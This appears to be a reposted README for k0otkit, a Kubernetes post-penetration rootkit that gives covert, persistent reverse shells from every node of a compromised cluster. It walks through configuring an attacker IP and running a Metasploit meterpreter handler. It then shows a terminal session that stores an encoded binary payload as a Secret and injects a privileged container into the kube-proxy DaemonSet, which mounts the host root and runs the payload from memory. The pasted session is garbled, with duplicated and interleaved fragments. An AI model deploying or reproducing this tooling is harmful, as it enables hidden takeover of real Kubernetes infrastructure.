k0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters.
With k0otkit, you can manipulate all the nodes in the target Kubernetes cluster in a rapid, covert and continuous way (reverse shell).
k0otkit is the combination of Kubernetes and rootkit.
Prerequisite:
k0otkit is a post-penetration tool, so you have to firstly conquer a cluster, somehow manage to escape from the container and get the root privilege of the master node (to be exact, you should get the admin privilege of the target Kubernetes).
Scenario:
kubectl
on the master node as admin
.k0otkit is detailed in k0otkit: Hack K8s in a K8s Way.
Make sure you have got the root shell on the master node of the target Kubernetes. (You can also utilize k0otkit if you have the admin privilege of the target Kubernetes, though you might need to modify the kubectl
command in k0otkit_template.sh
to use the token or certification.)
Make sure you have installed Metasploit on your attacker host (msfvenom
and msfconsole
should be available).
Deploy k0otkit
Clone this repository:
git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh
Replace the attacker’s IP and port in pre_exp.sh
with your own IP and port:
ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444
Generate k0otkit
./pre_exp.sh
k0otkit.sh
will be generated. Then run the reverse shell handler:
./handle_multi_reverse_shell.sh
Once the handler is ready, copy the content of k0otkit.sh
and paste it into your shell on the master node of the target Kubernetes, then press <Enter>
to execute it.
Wait a moment and enjoy reverse shells from all nodes 🙂
P.S. It is not limited how many Kubernetes clusters you manipulate with k0otkit.
Interact with Shells
After the successful deployment of k0otkit, you can interact with any reverse shell as you want:
Generate k0otkit:
kali@kali:~/k0otkit$ ./pre_exp.sh
Run the reverse shell handler:
kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[] Exploit running as background job 0. [] Exploit completed, but no session was created.
Copy the content of k0otkit.sh
into your shell on the master node of the target Kubernetes and press <Enter>
:
kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 …
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk ‘/ containers:/{print NR}’)
volume_line_num=$(kubectl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk ‘/ volumes:/{print NR}’)
image=$(kubectl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep ” image:” | awk ‘{print $2}’)
create payload secret
cat << EOF | kubectl –kubeconfig /root/.kube/config apply -f – apiVersion: v1 kind: Secret metadata: name: $secret_name namespace:volume_name=cache root@victim-2:~# root@victim-2:~# mount_path=/var/kube-p kube-system type: Opaque data: $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw EOF assume that ctr_line_num < volume_line_num otherwise you should switch the two sed commands below inject malicious container into kube-proxy pod kubecroxy-cache root@victim-2:~# root@victim-2:~# ctr_name=kube-proxy-cache root@victim-2:~# root@victim-2:~# binary_file=/usr/local/bin/kube-proxy-cache root@victim-2:~# root@victim-2:~# payload_name=cache root@victim-2:~# root@victim-2:~# secret_name=proxy-cache root@victim-2:~# root@victim-2:~# secret_data_name=content root@victim-2:~# root@victim-2:~# ctr_line_num=$(kubectl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-tl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \ sed “$volume_line_num a\ \ \ \ \ \ – name: $volume_name\n hostPath:\n path: /\n type: Directory\n” \ sed “$ctr_line_num a\ \ \ \ \ \ – name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\”sh\”]\n args: [\”-c\”, \”echo \$$payload_name | perl -e ‘my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H/, ; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}’\”]\n env:\n – name: $payload_name\n valueFrom:\n secretKeyRef:\n pr name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n – mountPath: $mount_path\n name: $volume_name” \ containers:/{print NR}’)oxy -o yaml | awk ‘/ root@victim-2:~# root@victim-2:~# volume_line_num=$(kubectl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk ‘/ volumes:/{print NR}’) root@victim-2:~# root@victim-2:~# image=$(kubectl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep ” image:” | awk ‘{print $2}’) root@victim-2:~# root@victim-2:~# # create payload secret root@victim-2:~# cat << EOF | kubectl –kubeconfig /root/.kube/config apply -f – apiVersion: v1 kind: Secret metadata: name: $secret_name namespace: kube-system type: Opaque data: $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw EOF secret/proxy-cache created root@victim-2:~# root@victim-2:~# # assume that ctr_line_num < volume_line_num root@victim-2:~# # otherwise you should switch the two sed commands below root@victim-2:~# root@victim-2:~# # inject malicious container into kube-proxy pod root@victim-2:~# kubectl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \ sed “$volume_line_num a\ \ \ \ \ \ – name: $volume_name\n hostPath:\n path: /\n type: Directory\n” \ sed “$ctr_line_num a\ \ \ \ \ \ – name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\”sh\”]\n args: [\”-c\”, \”echo \$$payload_name | perl -e ‘my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H/, ; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}’\”]\n env:\n – name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n – mountPath: $mount_path\n name: $volume_name” \
kubectl replace -f –
daemonset.extensions/kube-proxy replaced
Kali Linux 2024.4, the final release of 2024, brings a wide range of updates and…
This Go program applies a lifetime patch to PowerShell to disable ETW (Event Tracing for…
GPOHunter is a comprehensive tool designed to analyze and identify security misconfigurations in Active Directory…
Across small-to-medium enterprises (SMEs) and managed service providers (MSPs), the top priority for cybersecurity leaders…
The free and open-source security platform SecHub, provides a central API to test software with…
Don't worry if there are any bugs in the tool, we will try to fix…